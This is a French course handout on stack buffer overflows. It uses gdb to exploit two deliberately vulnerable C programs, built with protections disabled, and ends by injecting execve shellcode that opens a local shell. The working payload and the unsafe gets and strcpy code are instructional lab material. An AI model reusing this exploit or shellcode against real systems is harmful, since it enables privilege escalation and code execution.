Vous êtes sur la page 1sur 12

« Buffer Overflows »

Les buffer overflows (ou débordements de mémoire) sont une technique qui vise à exploiter une
vulnérabilité dans la gestion de l’espace mémoire allouée à un fichier exécutable. Cette exploitation
permet d’écrire dans la RAM d’un hôte, et donc d’y injecter des instructions qui permettront d’exécuter
du code à distance (si l’exécutable est un service sur un hôte distant) ou de lancer un programme avec
des privilèges élevés (si l’exécutable a les permissions root).
Dans ce cours nous verrons comment utiliser gdb pour inspecter l’usage de la mémoire (plus
spécifiquement : de la pile) lors de l’exécution d’un programme vulnérable codé en langage C, comment
contrôler l’exécution d’un programme en manipulant les valeurs des registres et finalement comment
faire exécuter un shellcode.

Premier exemple
Sauvegardez le programme suivant dans un fichier nommé bo_1.c :

#include <signal.h>
#include <stdio.h>
#include <string.h>
int main(){
char motDePasse[10];
char valeurLue[10];
strncpy(motDePasse, "abc-123", 10);
printf("Entrez le mot de passe: ");
gets(valeurLue);

if (0 == strncmp(motDePasse, valeurLue, 10)){


printf("Bravo!\n");
}else{
printf("Mauvaise reponse!\n");
}
printf("MDP: %s\n", motDePasse);
return 0;
}

Dans ce programme, la fonction gets est vulnérable : elle lit la valeur entrée sur la ligne de commande et
l’affecte à la variable en paramètre (ici, valeurLue) mais ne vérifie pas si cette valeur respecte la taille de
la variable. Si la valeur saisie est de taille supérieure, elle dépassera la zone mémoire allouée à la
variable.
Pour créer le fichier exécutable du programme on doit le compiler avec la commande suivante :
└─$ gcc -g bo_1.c -o bo_1 -fno-stack-protector -z execstack
Pour l’exécuter :
└─$ ./bo_1

Si on entre une valeur dont la taille est supérieure à 10 (par exemple une séquence de 12 « x »), on verra
qu’elle « déborde » sur la variable motDePasse :
└─$ ./bo_1
Entrez le mot de passe: xxxxxxxxxxxx
Mauvaise reponse!
MDP: xx

Quelle taille doit avoir valeurLue pour que la valeur de motDePasse soit « xxxxxx »?
À partir de quelle taille de valeurLue les deux variables ont-elles la même valeur?

Analyse avec gdb


Pour voir de plus près ce qui se passe, on utilisera gdb, un débogueur qui permet d’inspecter avec
précision les opérations effectuées par un programme en mémoire. Dans Kali on l’installe comme suit :
└─$ sudo apt install gdb

Pour lancer le débogage de notre programme :


└─$ gdb bo_1
Reading symbols from bo_1...
(gdb)

Pour analyser ce qui se passe au moment où notre programme s’exécute, on définira un point d’arrêt, ce
qui permet d’interrompre l’exécution à un endroit précis du programme afin d’inspecter les valeurs des
différentes variables qu’il contient à ce moment de son exécution. Ici, on met un point d’arrêt à la ligne
16 et ensuite on lance le programme :
(gdb) break 16
Breakpoint 1 at 0x11ed: file bo1.c, line 16.
(gdb) run
Starting program: /home/kali/bo_1
Entrez le mot de passe:

Le programme s’exécute normalement et nous demande d’entrer une valeur; ensuite il s’arrêtera à
l’endroit que nous avons défini :
Entrez le mot de passe: xxxxxxxx
Mauvaise reponse!

Breakpoint 1, main () at bo1.c:16


16 printf("MDP: %s\n", motDePasse);
(gdb)
Lorsque le programme s’est interrompu, on peut inspecter les valeurs des différents pointeurs utiles à
son exécution avec la commande info frame. La valeur qui nous intéresse ici est « Locals », le début de la
zone mémoire où sont stockées les variables locales :
(gdb) info frame
Stack level 0, frame at 0x7fffffffe380:
rip = 0x5555555551ed in main (bo1.c:16); saved rip = 0x7ffff7e17e4a
source language c.
Arglist at 0x7fffffffe370, args:
Locals at 0x7fffffffe370, Previous frame's sp is 0x7fffffffe380
Saved registers:
rbp at 0x7fffffffe370, rip at 0x7fffffffe378

Ici cela correspond à 0x7fffffffe370; afin de voir le contenu de la mémoire qui précède cette adresse
(où valeurLue devrait normalement se trouver) on affiche les données à partir de 0x7fffffffe358 avec
la commande x/50bx 0x7fffffffe358. Le sens des termes de cette commande est celui-ci :

 x Examiner la mémoire
 50 Afficher 50 unités
 b L’unité choisie est l’octet (byte)
 x Afficher les données en hexadécimal

(gdb) x/50bx 0x7fffffffe358


0x7fffffffe358: 0x90 0x50 0x55 0x55 0x78 0x78 0x78 0x78
0x7fffffffe360: 0x78 0x78 0x78 0x78 0x00 0x7f 0x61 0x62
0x7fffffffe368: 0x63 0x2d 0x31 0x32 0x33 0x00 0x00 0x00
0x7fffffffe370: 0x10 0x52 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffe378: 0x4a 0x7e 0xe1 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffe380: 0x68 0xe4 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe388: 0x7f 0x7c

Sachant que la valeur hexadécimale de « x » est 78, on arrive à repérer l’espace occupé par notre
variable (de 0xe35c à 0xe363 inclusivement).

À quelle adresse débute la variable qui contient « abc-123 »?


Fonctionnement de la pile
Lors de l’exécution d’un programme, on a vu que l’espace mémoire peut contenir des valeurs de
variables; mais il contient aussi instructions diverses (opérations de lecture de fichiers, opérations
arithmétiques, etc.) et aussi des adresses mémoire. En effet un programme ne s’exécute pas de manière
linéaire : lorsqu’une fonction est appelée dans un programme, on doit se déplacer à un autre endroit de
la mémoire pour exécuter les opérations qui s’y trouvent, puis ensuite revenir. Il faut donc mémoriser les
adresses de différentes sections du code pour pouvoir s’y retrouver.
Prenons par exemple le programme (simplifié) suivant :

0 fonction1(b)
1 instruction1
2 fonction2(b)
3 instruction2
4
5 fonction2(c)
6 instruction1
7 instruction2
8
9 main
10 a=1
11 instruction1
12 fonction1(a)
13 instruction3

Le point d’entrée du programme est la fonction main. L’ordre dans lequel les différentes lignes de ce
programme seront lues (et exécutées) est le suivant :
9, 10, 11, 12, 0, 1, 2, 5, 6, 7, 3, 13

Lorsqu’une fonction est appelée (comme à la l.12), le programme sait à quel endroit se déplacer (ici, la
l.0) pour poursuivre l’exécution. Mais comment sait-il où retourner lorsque la fonction est terminée (l.3)?
En effet une fonction peut être appelée à plusieurs endroits dans un même programme, donc il peut y
avoir plus d’une possibilité.
La solution à ce problème est la pile (« stack »).
La pile est une zone particulière de la mémoire où on stocke des informations qui permettent au
programme de se repérer à travers les différents appels de fonction : chaque fois qu’on appelle une
fonction, on ajoute à la pile des informations sur cette fonction; chaque fois qu’on sort d’une fonction,
on supprime de la pile les informations qui la concernent.
Parmi ces informations on retrouve les valeurs des variables passées à la fonction, mais aussi l’adresse à
partir de laquelle la fonction a été appelée. Cette adresse est celle où le programme doit retourner
lorsque la fonction a terminé de s’exécuter.
Pour s’y retrouver, le programme a besoin de trois variables spéciales (des pointeurs) qui servent à
stocker les adresses mémoires :

IP Pointeur d’instruction : contient l’adresse mémoire de la prochaine instruction à


exécuter
BP Pointeur de base : contient l’adresse mémoire de la base de la pile
SP Pointeur de pile : contient l’adresse mémoire du dernier élément de la pile

Reprenons l’exemple (très simplifié) vu plus haut : notre programme occupe une zone de la mémoire
entre les adresses 0 et 13 et son point d’entrée est à l’adresse 9. La base de la pile est à l’adresse 50;
lorsqu’elle est vide, BP et SP sont égaux. À noter : l’ajout d’éléments dans la pile se fait dans le sens
décroissant des adresses mémoire.

0 fonction1(b)
1 instruction1
2 fonction2(b)
3 instruction2
4
5 fonction2(c)
6 instruction1
7 instruction2
8
9 main ...
10 a=1 47
11 instruction1 48 c(1), 3
12 fonction1(a) 49 b(1), 13
13 instruction3 50 a(1)

IP 9 10 11 12 0 1 2 5 6 7 3 13
BP 50
SP 50 49 48 49 50

Au début du programme, BP et SP contiennent la même adresse (50) et IP pointe sur l’adresse 9. Après
chaque instruction, on incrémente IP.
Au moment de l’appel de la fonction1, IP se déplace à l’adresse 0; la valeur de la variable passée à
fonction1 est affectée à b, la variable locale de fonction1, et on mémorise l’adresse de retour (13). Ces
deux informations sont ajoutées au-dessus de la pile et on déplace SP à l’adresse correspondante (49).
Lors de l’appel de fonction2, le même mécanisme est utilisé : on déplace IP à l’adresse de la fonction2
(5), on ajoute la variable locale, sa valeur et l’adresse de retour au-dessus de la pile et on déplace SP.
À la fin de l’exécution de fonction2, on déplace IP à l’adresse de retour enregistrée (3) et on déplace SP à
l’élément précédent de la pile (à l’adresse 49). Même chose à la fin de la fonction1 : on déplace IP à
l’adresse de retour enregistrée (13) et on déplace SP à l’élément précédent (50).
Dans les faits, les données ajoutées à la pile ne correspondent pas à des intervalles de 1 entre les
adresses mémoire (50, 49, 48, etc.) car la taille qu’elles occupent est variable. Par exemple, si les
données ajoutées à la pile lors de l’appel de fonction1 occupent 40 octets de données, la valeur de SP
passera de 50 à 10. On peut représenter la pile comme suit :

SP

variables Adresses
croissantes

adr. retour
BP

Exploitation
On a vu qu’il est possible d’écrire dans la mémoire lorsqu’un exécutable est vulnérable aux
débordements. Si on arrive à écrire dans la zone réservée à l’adresse de retour, il serait possible de
remplacer cette adresse par une autre adresse, et ainsi exécuter d’autres instructions que celles qui
devraient l’être.
Aussi, on souhaite que ces « autres » instructions soient notre propre code. Si l’espace réservé aux
variables (dans lequel on peut écrire) est suffisamment grand, on peut y injecter notre code.
Il faut donc :

 Trouver l’adresse et la taille de la zone mémoire réservée (le « buffer »);


 Trouver à quelle adresse est enregistrée l’adresse de retour;
 Remplacer l’adresse de retour par celle de la mémoire réservée;
 Injecter le code qu’on veut exécuter dans la mémoire réservée;

Dans cette section on utilisera le programme vulnérable suivant (bo_2.c) :


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void maFonction(char* valeur) {


char buffer[100];
strcpy(buffer,valeur);
}

int main(int nargs, char* args[]){


char valeurLue[100];
maFonction(args[1]);
printf("Termine");
return 0;
}
On le compile comme vu plus haut :
gcc -g bo2.c -o bo2 -fno-stack-protector -z execstack

Dans ce programme la fonction vulnérable est strcpy. Aussi, contrairement au programme précédent la
chaîne de caractères doit être passée à l’exécutable au moment de son appel, comme suit :
└─$ bo_2 xxxxxxxxxxxx

Nous allons utiliser gdb pour analyser ce programme : lancez-le, ajoutez un point d’arrêt à la ligne 8 et
exécutez le programme avec une série de « x » comme argument :
└─$ gdb bo_2
Reading symbols from bo_2...
(gdb) b 8
Breakpoint 1 at 0x1164: file bo_2.c, line 8.
(gdb) run xxxxxxxxxx
Starting program: /home/kali/bo_2 xxxxxxxxxxx

Breakpoint 1, maFonction (valeur=0x7fffffffe6f2 'x' <repeats 11 times>) at bo_2.c:8


8 }
(gdb)

Le programme s’interrompt à la fin de la fonction maFonction().


On peut afficher la zone de la pile où se trouve la variable « buffer » du programme en la nommant dans
gdb, ce qui nous permet de voir son adresse :
(gdb) x/144bx buffer
0x7fffffffe270: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe278: 0x78 0x78 0x78 0x00 0x00 0x00 0x00 0x00
0x7fffffffe280: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe288: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe290: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe298: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2e0: 0x70 0xe3 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe2e8: 0x89 0x51 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffe2f0: 0x68 0xe4 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe2f8: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00

On peut déjà constater que buffer se trouve à 0x7fffffffe270.


La commande info frame nous permet ensuite de savoir quelle est l’adresse de retour : c’est la valeur
nommée « saved rip » :
(gdb) info frame
Stack level 0, frame at 0x7fffffffe2f0:
rip = 0x555555555164 in maFonction (bo_2.c:8); saved rip = 0x555555555189
called by frame at 0x7fffffffe380
source language c.
Arglist at 0x7fffffffe2e0, args: valeur=0x7fffffffe6f2 'x' <repeats 11 times>
Locals at 0x7fffffffe2e0, Previous frame's sp is 0x7fffffffe2f0
Saved registers:
rbp at 0x7fffffffe2e0, rip at 0x7fffffffe2e8

En cherchant dans les données affichées plus haut, on constate que « saved rip » (0x555555555189) est
à l’adresse 0x7fffffffe2e8 (notez que l’ordre des octets est inversé).
Pour connaître la taille de la zone mémoire dans laquelle on peut déborder AVANT d’empiéter sur
l’adresse de retour, on doit calculer la différence entre l’adresse où est stockée l’adresse de retour et
l’adresse de la variable qu’on souhaite faire déborder (« buffer ») :
0xe2e8 – 0xe270 = 0x78 (en décimal : 120)
Donc on doit passer au programme une chaîne de 120 caractères (chaque caractère occupe 1 octet). On
pourrait le faire manuellement mais on utilisera plutôt une commande python, comme suit :
(gdb) run $(python -c 'print("x" * 120)')
Starting program: /home/kali/bo_2 $(python -c 'print("x" * 120)')

Breakpoint 10, maFonction (valeur=0x7fffffffe685 'x' <repeats 120 times>) at bo_2.c:8


8 }
(gdb) x/144bx buffer
0x7fffffffe200: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe208: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe210: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe218: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe220: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe228: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe230: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe238: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe240: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe248: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe250: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe258: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe260: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe268: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe270: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe278: 0x00 0x51 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffe280: 0xf8 0xe3 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe288: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
(gdb) i f
Stack level 0, frame at 0x7fffffffe280:
rip = 0x555555555164 in maFonction (bo_2.c:8); saved rip = 0x555555555100
called by frame at 0x7fffffffe288
source language c.
Arglist at 0x7fffffffe270, args: valeur=0x7fffffffe685 'x' <repeats 120 times>
Locals at 0x7fffffffe270, Previous frame's sp is 0x7fffffffe280
Saved registers:
rbp at 0x7fffffffe270, rip at 0x7fffffffe278
Les adresses sont différentes mais la logique demeure la même : ici l’adresse de retour est
0x555555555100 et elle se trouve à 0x7fffffffe278, et on constate que notre séquence de « x » se
termine tout juste avant – un « x » de plus et on commence à empiéter sur l’adresse de retour. Pour la
remplacer en entier par des « x », il faut que la séquence de « x » passée au programme ait la taille de
128 :
(gdb) run $(python -c 'print("x" * 128)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/bo_2 $(python -c 'print("x" * 128)')

Breakpoint 10, maFonction (valeur=0x7fffffffe67d 'x' <repeats 128 times>) at bo_2.c:8


8 }
(gdb) x/144bx buffer
0x7fffffffe1f0: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe1f8: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe200: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe208: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe210: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe218: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe220: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe228: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe230: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe238: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe240: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe248: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe250: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe258: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe260: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe268: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe270: 0x00 0xe3 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe278: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
(gdb) i f
Stack level 0, frame at 0x7fffffffe270:
rip = 0x555555555164 in maFonction (bo_2.c:8); saved rip = 0x7878787878787878
called by frame at 0x7fffffffe278
source language c.
Arglist at 0x7fffffffe260, args: valeur=0x7fffffffe67d 'x' <repeats 128 times>
Locals at 0x7fffffffe260, Previous frame's sp is 0x7fffffffe270
Saved registers:
rbp at 0x7fffffffe260, rip at 0x7fffffffe268

Comme on le voit, l’adresse de retour (« saved rip ») a été entièrement remplacée par 0x78.
Maintenant nous savons comment exploiter un « buffer overflow » pour remplacer la valeur de l’adresse
de retour. Par quoi la remplacera-t-on?
Le seul endroit où il est possible pour nous d’insérer des données est dans la zone mémoire allouée à la
variable « buffer », et on dispose de 120 octets. Pour l’instant, nous n’y avons injecté que des « x » mais
il serait plus utile d’y mettre les instructions d’un programme. Donc, si ce code est injecté à l’adresse de
la variable « buffer », l’adresse de retour devra être remplacée par l’adresse de la variable « buffer » :
0xe200 0xe200

variables code

adr. retour 0xe200


0xe278 0xe278

L’adresse de la variable injectable est 0x7fffffffe200 (en réalité, 0x00007fffffffe200 : l’architecture


du processeur est de 64 bits, ce qui signifie que les adresses mémoire ont 8 octets, mais les valeurs
nulles ne sont pas notées). Comme nous l’avons vu ses octets sont inversés en mémoire, donc la valeur à
insérer sera :
00 e2 ff ff ff 7f 00 00

On l’ajoutera donc à la suite des 120 « x » lorsqu’on lance le programme :


(gdb) run $(python -c 'print("x" * 120 + "\x00\xe2\xff\xff\xff\x7f\x00\x00")')

ATTENTION : lorsque vous relancez le programme, il est possible que les adresses changent légèrement;
or si la variable buffer change d’adresse, alors l’adresse de retour qu’on veut remplacer sera elle aussi
décalée. Il est dans ce cas nécessaire de recommencer à quelques reprises en changeant chaque fois
l’adresse de retour jusqu’à ce que celle-ci corresponde réellement à l’adresse de buffer.
Tout ce qu’il reste à faire maintenant est de remplacer la séquence de « x » par du code utile.

Injection du « shellcode »
Le programme à insérer dans la pile doit comprendre des instructions directement compréhensibles par
le processeur de l’hôte sur lequel s’exécute le programme – l’équivalent de ce que contient un fichier
binaire exécutable, traduit en valeurs hexadécimales. On appelle ce type de programme un shellcode.
Il serait possible de le coder par nous-mêmes, mais on peut aussi utiliser des ressources déjà
disponibles. Ici on utilisera un shellcode permettant d’ouvrir une invite de commande sur l’hôte
(disponible ici: http://shell-storm.org/shellcode/files/shellcode-806.php) :
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57
\x54\x5e\xb0\x3b\x0f\x05"
Ce code contient 27 octets (qui doivent être pris parmi les 120 disponibles); on doit envoyer la séquence
suivante :

shellcode + série de « x » + adresse de retour


Notre série de « x » doit avoir une taille de 93 octets (120 – 27).
On lance donc le programme comme suit dans gdb :
(gdb) run $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
Starting program: /home/kali/bo_2 $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')

Breakpoint 10, maFonction (


valeur=0x7fffffffe67d
"1\300H\273ѝ\226\221Ќ\227\377H\367\333ST_\231RWT^\260;\017\005", 'x' <repeats 93
times>, "\340\341\377\377\377\177") at bo_2.c:8
8 }
(gdb) x/144bx buffer
0x7fffffffe1e0: 0x31 0xc0 0x48 0xbb 0xd1 0x9d 0x96 0x91
0x7fffffffe1e8: 0xd0 0x8c 0x97 0xff 0x48 0xf7 0xdb 0x53
0x7fffffffe1f0: 0x54 0x5f 0x99 0x52 0x57 0x54 0x5e 0xb0
0x7fffffffe1f8: 0x3b 0x0f 0x05 0x78 0x78 0x78 0x78 0x78
0x7fffffffe200: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe208: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe210: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe218: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe220: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe228: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe230: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe238: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe240: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe248: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe250: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0x7fffffffe258: 0xe0 0xe1 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe260: 0xd8 0xe3 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe268: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
(gdb) i f
Stack level 0, frame at 0x7fffffffe260:
rip = 0x555555555164 in maFonction (bo_2.c:8); saved rip = 0x7fffffffe1e0
called by frame at 0x7fffffffe268
source language c.
Arglist at 0x7fffffffe250, args:
valeur=0x7fffffffe67d
"1\300H\273ѝ\226\221Ќ\227\377H\367\333ST_\231RWT^\260;\017\005", 'x' <repeats 93
times>, "\340\341\377\377\377\177"
Locals at 0x7fffffffe250, Previous frame's sp is 0x7fffffffe260
Saved registers:
rbp at 0x7fffffffe250, rip at 0x7fffffffe258

Si notre calcul est bon, on devrait voir les données du shellcode à l’adresse de la variable buffer et cette
même adresse comme adresse de retour (« saved rip »).
Finalement, pour exécuter notre shellcode, on supprime tous les points d’arrêt avec la commande clear
et on relance l’exécution :
(gdb) clear
Deleted breakpoint 1
(gdb) run $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
Starting program: /usr/bin/dash $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/bo_2 $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
Starting program: /usr/bin/dash $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
process 6807 is executing new program: /usr/bin/dash
$ whoami
[Detaching after vfork from child process 6814]
kali
$ ls
[Detaching after vfork from child process 6815]
Desktop Downloads Pictures Templates bo_1 bo_2
Documents Music Public Videos bo_1.c bo_2.c
$

Et on a une ligne de commande.

Vous aimerez peut-être aussi